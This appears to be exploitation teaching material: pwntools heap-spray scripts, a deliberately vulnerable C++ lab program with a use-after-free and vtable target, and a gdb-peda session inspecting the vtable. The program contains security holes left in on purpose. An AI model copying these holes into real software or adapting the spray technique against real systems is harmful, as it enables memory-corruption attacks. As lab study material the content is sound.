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from pwn import *
#context.log_level = 'debug'

sprayRange = 0x5000000
spraySize = 0x10000
sprayCount = sprayRange /spraySize

p = process('./poc')
sleep(20)

for i in xrange(sprayCount):
    size = spraySize - 0x10 # chunk의 크기
    p.recvuntil("Input size:\n")
    p.send(p32(size))

    p.recvuntil("Input contents:\n")
    buf = 'AAAABBBB' * (size // 8)
    buf += 'C' * (size - len(buf))
    p.send(buf)

    p.recvuntil("Will you keep typing?(No:0):\n")
    if i == sprayCount-1:
        print "Finished Heap spray!\n"
        p.sendline(str(0))
    else:
        p.sendline(str(1))

p.wait()

from pwn import *
#context.log_level = 'debug'

sprayRange = 0x5000000
spraySize = 0x20000
sprayCount = sprayRange /spraySize

p = process('./poc')
sleep(20)

for i in xrange(sprayCount):
    size = spraySize - 0x10
    p.recvuntil("Input size:\n")
    p.send(p32(size))

    p.recvuntil("Input contents:\n")
    buf = 'AAAABBBB' * (size // 8)
    buf += 'C' * (size-len(buf))
    p.send(buf)

    p.recvuntil("Will you keep typing?(No:0):\n")
    if i == sprayCount-1:
        print "Finished Heap spray!\n"
        p.sendline(str(0))
    else:
        p.sendline(str(1))

p.wait()

//g++ -o heapspray heapspray.cpp -ldl
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <cstring>
#include <dlfcn.h>

class UAF {
    char memo[160];

public:
    UAF(char *memo) { 
		strncpy(this->memo,memo,strlen(this->memo));
    }

    virtual void target() { 
		write(1, this->memo, strlen(this->memo));
    }
};

void heapSpray(){
    int size;
    char *data;

    printf("Input size:\n");
    read(0, &size, 4);
    if (size > 0) {
        printf("Input contents:\n");
        data = new char[size];
        read(0, data, size);
    }
}

int main(){
    char memo[160] = {};

    void *printf_addr = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);

    printf("Heap spray!\n");
    while(1){
        char status[2];
        heapSpray();
        printf("Will you keep typing?(No:0):\n");
        read(0,&status,2);

        if(atoi(status) == 0)
            break;
    }

    printf("Create vtable\n");
    read(0, memo, sizeof(memo));

    UAF *uaf = new UAF(memo);
    delete uaf;

    printf("UAF!\n");
    heapSpray();

    uaf->target();

    return 0;
}

Breakpoint 1, 0x0000000000400b42 in main ()
gdb-peda$ i r rsi
rsi            0x7fffffffe3e0	0x7fffffffe3e0
gdb-peda$ x/gx 0x7fffffffe3e0
0x7fffffffe3e0:	0x000000000a303031
gdb-peda$ set *0x7fffffffe3e0 = 0x64
gdb-peda$ ni

0x0000000000400b47 in main ()
gdb-peda$ i r rax
rax            0x6150a8	0x6150a8
gdb-peda$ i r rbx
rbx            0x6150a0	0x6150a0
gdb-peda$ x/4gx 0x0000000000400d40
0x400d40 <_ZTV3UAF+16>:	0x0000000000400bf2	0x00000000006020a0
0x400d50 <_ZTI3UAF+8>:	0x0000000000400d58	0x0000000046415533
gdb-peda$ x/10i 0x0000000000400bf2
   0x400bf2x <_ZN3UAF6targetEv>:	push   rbp
   0x400bf3 <_ZN3UAF6targetEv+1>:	mov    rbp,rsp
   0x400bf6 <_ZN3UAF6targetEv+4>:	sub    rsp,0x10
   0x400bfa <_ZN3UAF6targetEv+8>:	mov    QWORD PTR [rbp-0x8],rdi
   0x400bfe <_ZN3UAF6targetEv+12>:	mov    rax,QWORD PTR [rbp-0x8]
   0x400c02 <_ZN3UAF6targetEv+16>:	add    rax,0x8
   0x400c06 <_ZN3UAF6targetEv+20>:	mov    rdi,rax
   0x400c09 <_ZN3UAF6targetEv+23>:	call   0x400860 <strlen@plt>
   0x400c0e <_ZN3UAF6targetEv+28>:	mov    rdx,rax
   0x400c11 <_ZN3UAF6targetEv+31>:	mov    rax,QWORD PTR [rbp-0x8]
gdb-peda$ c
Continuing.